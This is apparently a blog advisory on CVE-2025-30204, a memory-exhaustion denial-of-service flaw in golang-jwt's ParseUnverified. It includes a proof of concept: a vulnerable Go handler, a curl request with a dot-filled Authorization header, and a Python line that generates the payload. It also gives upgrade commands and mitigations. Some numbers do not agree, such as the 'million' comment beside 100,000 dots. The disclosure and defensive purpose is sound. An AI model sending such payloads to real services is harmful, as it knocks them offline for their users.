CVE-2025-30204 - Denial of Service in golang-jwt via ParseUnverified O(n) Memory Allocation
If you’re working with JWTs in Go, you’ve probably relied on the popular golang-jwt package. Recently, a critical vulnerability—CVE-2025-30204—was found in this library, affecting versions before 5.2.2 and 4.5.2. This post breaks it down in simple terms, shows how the flaw works, and gives you clear guidance and example code.
What’s the Problem?
In short: An attacker can send specially crafted requests filled with dots (periods) that trigger a huge memory allocation in your Go app when using ParseUnverified. That means, with enough junk requests, your service can slow down—or even crash, causing a Denial of Service (DoS).
Here’s what happens behind the scenes
- The function ParseUnverified tries to split incoming JWT strings into their three components (header, payload, signature) by splitting on every period . character.
In vulnerable versions, it does this via strings.Split on untrusted input without limits.
- If an attacker sends a JWT containing thousands or millions of periods, Go will allocate a new string slice for every single period.
The constant overhead per split is around 16 bytes.
Result: A single overly long, malicious JWT can easily tie up tens or hundreds of megabytes—even gigabytes—of your memory.
Demo: How To Exploit It
Suppose you run a service that relies on ParseUnverified to inspect JWTs (even before validating them). Here’s a simplified example, based on real attack surface:
package main
import (
"github.com/golang-jwt/jwt/v5"
"net/http"
"fmt"
"strings"
)
func handler(w http.ResponseWriter, r *http.Request) {
// Get JWT from Authorization header
authHeader := r.Header.Get("Authorization")
tokenString := strings.TrimPrefix(authHeader, "Bearer ")
// Vulnerable parse
_, _, err := jwt.ParseUnverified(tokenString, jwt.MapClaims{})
if err != nil {
http.Error(w, "Invalid token", http.StatusUnauthorized)
return
}
fmt.Fprintln(w, "Token parsed (not validated)")
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":808", nil)
}
Now, use curl (or Burp, or an HTTP client) to flood it with a token like this
# 1 million periods = 1,000,000 splits!
curl -H 'Authorization: Bearer ..............................................' http://localhost:808/
You can generate a "JWT" with a million periods in Python (or any language)
print('Bearer ' + '.' * 100000)
Send this in the Authorization header. On the server, memory usage will spike as Go allocates O(n) memory, directly proportional to the number of periods.
Even unauthenticated attackers (just need access to your endpoint) can cause DoS.
- Most microservice APIs rely on JWTs; many parse JWTs even before verifying, to get claims or check user identity.
How Was It Fixed?
Starting in v5.2.2 and v4.5.2, golang-jwt patched the code to use a constant-time, limited split (likely using strings.Cut or a manual check), ensuring it never allocates massive slices based on untrusted input.
References
- Upstream Patch
- Full CVE Description
- Release Notes 5.2.2
`sh
go get github.com/golang-jwt/jwt/v5@v5.2.2
Or for v4 users
go get github.com/golang-jwt/jwt/v4@v4.5.2
Rate-limit and monitor
Add web application firewall (WAF) rules, API gateway protections, and sensible rate limits. Reject obviously malformed or giant JWTs.
Final Thoughts
This vulnerability is a classic example of why *parsing user input is dangerous*, even before "real" processing happens. Always keep your dependencies up-to-date and audit code that deals with data from the outside world.
If you’re using golang-jwt anywhere in your stack, update now, and review any logic where you call ParseUnverified!
Stay safe, and update your dependencies!
*Further Reading:*
- golang-jwt/jwt GitHub
- NVD CVE-2025-30204
- Differences Between Parse, ParseUnverified, ParseWithClaims
Timeline
Published on: 03/21/2025 22:15:26 UTC